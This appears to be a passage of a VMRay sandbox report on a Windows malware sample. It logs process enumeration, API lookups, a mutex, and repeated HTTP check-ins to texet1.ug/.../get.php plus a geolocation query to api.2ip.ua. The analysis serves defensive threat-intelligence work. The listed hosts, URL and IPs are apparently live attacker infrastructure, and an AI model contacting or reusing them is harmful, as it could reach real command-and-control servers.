Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\dllhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\logonui.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dllhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\rundll32.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\sw typical avg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (196)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x74f90000 True 1
Fn
Load Psapi.dll base_address = 0x770f0000 True 1
Fn
Load Shell32.dll base_address = 0x758b0000 True 58
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x74f90000 True 3
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8fbb.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8fbb.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x74fa4f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x74fa359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x74fa1252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x74fa4208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x74fa4d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x7502410b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x75024195 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x74fad31f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x74fbee7e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7716441c True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7718c50e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7718c381 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x74fbf088 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771705d7 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7718ca24 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77140b8c True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x771ffde8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x77191e1d True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x75024761 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x7501cd11 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x7502424f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x750246b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x75036676 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x75024751 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x750365f1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x750247c1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x750247e1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x750247f1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x74fbeee0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x770f1544 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x770f1408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x770f152c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x75935708 True 58
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Get Username user_name_out = 5p5NrGJn0jS HALPmcxz True 1
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create LPCWSTRszTitle class_name = LPCWSTRszWindowClass, wndproc_parameter = 0 True 1
Fn
System (191)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = XDUWTFONO True 1
Fn
Sleep duration = 100 milliseconds (0.100 seconds) True 184
Fn
Sleep duration = 0 milliseconds (0.000 seconds) True 1
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 1
Fn
Get Time type = System Time, time = 2019-07-10 16:40:43 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 6359722033 True 1
Fn
Get Time type = System Time, time = 2019-07-10 16:40:49 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 6966026334 True 1
Fn
Mutex (1)
»
Operation Additional Information Success Count Logfile
Create mutex_name = {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Debug (502)
»
Operation Process Additional Information Success Count Logfile
Detach - - False 502
Fn
Network Behavior
HTTP Sessions (5)
»
Information Value
Total Data Sent 2.01 KB
Total Data Received 11.22 KB
Contacted Host Count 2
Contacted Hosts 5.253.62.21, 77.123.139.189
HTTP Session #1
»
Information Value
User Agent Microsoft Internet Explorer
Server Name texet1.ug
Server Port 80
Username -
Password -
Data Sent 159 bytes
Data Received 412 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://texet1.ug/sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php?pid=00BB796811DA8292CFD733E3846553F4 True 1
Fn
Read Response size = 1024, size_out = 244 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #2
»
Information Value
User Agent Microsoft Internet Explorer
Server Name texet1.ug
Server Port 80
Username -
Password -
Data Sent 477 bytes
Data Received 1.21 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://texet1.ug/sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php?pid=00BB796811DA8292CFD733E3846553F4 True 1
Fn
Read Response size = 1024, size_out = 244 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #3
»
Information Value
User Agent Microsoft Internet Explorer
Server Name texet1.ug
Server Port 80
Username -
Password -
Data Sent 477 bytes
Data Received 1.21 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://texet1.ug/sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php?pid=00BB796811DA8292CFD733E3846553F4 True 1
Fn
Read Response size = 1024, size_out = 244 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #4
»
Information Value
User Agent Microsoft Internet Explorer
Server Name texet1.ug
Server Port 80
Username -
Password -
Data Sent 477 bytes
Data Received 1.21 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://texet1.ug/sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php?pid=00BB796811DA8292CFD733E3846553F4 True 1
Fn
Read Response size = 1024, size_out = 244 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #5
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.19 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image